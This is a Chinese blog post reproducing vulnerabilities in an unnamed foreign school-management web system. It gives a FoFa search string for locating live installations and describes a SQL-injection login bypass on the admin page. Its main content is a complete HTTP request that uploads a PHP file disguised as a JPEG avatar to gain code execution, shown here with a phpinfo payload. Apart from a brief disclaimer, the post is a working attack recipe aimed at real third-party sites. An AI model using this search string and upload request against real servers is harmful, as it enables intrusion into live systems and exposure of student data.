【漏洞复现】国外某教育系统SQL注入和文件上传漏洞

Aniya也会哭

已于 2024-01-31 15:11:26 修改

阅读量437

点赞数 11

分类专栏：漏洞复现文章标签： web安全安全网络安全

于 2024-01-31 15:09:53 首次发布

本文链接：https://blog.csdn.net/KKleeeaa/article/details/135954124

版权

漏洞复现专栏收录该内容

17 篇文章 0 订阅

订阅专栏

声明：亲爱的读者，我们诚挚地提醒您，Aniya网络安全的技术文章仅供个人研究学习参考。任何因传播或利用本实验室提供的信息而造成的直接或间接后果及损失，均由使用者自行承担责任。Aniya网络安全及作者对此概不负责。如有侵权，请立即告知，我们将立即删除并致歉。感谢您的理解与支持！

0x01:FoFa语句

"admin/vendors/jGrowl/jquery.jgrowl.css"

0x02:SQL注入漏洞点

漏洞点的话是在登录页面，存在一个万能密码绕过的一个情况，账户输入我图片一样的，然后密码随便输入我输入的12345哈哈。。

然后神奇的一幕就出现了

成功用万能密码进入到后台内部。。。

这个国外的系统也太辣坤了八

0x03:文件上传漏洞点

文件上传点的话是在admin/uploads/下面，自行看着办。

文件上传POC


POST /student_avatar.php?change HTTP/1.1
Host: 
Content-Length: 202
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydAPjrmyKewWuf59H
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.3611
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
Connection: close

------WebKitFormBoundarydAPjrmyKewWuf59H
Content-Disposition: form-data; name="image"; filename="c1.php"
Content-Type: image/jpg

<?php phpinfo();?>
------WebKitFormBoundarydAPjrmyKewWuf59H--

搞个phpinfo就可以了证明危害即可！！！！！！

小编提示：未经授权的渗透测试属于违法行为！！！！

还没有进群的朋友们抓紧进群，群里面有很多渗透测试工具以及资料。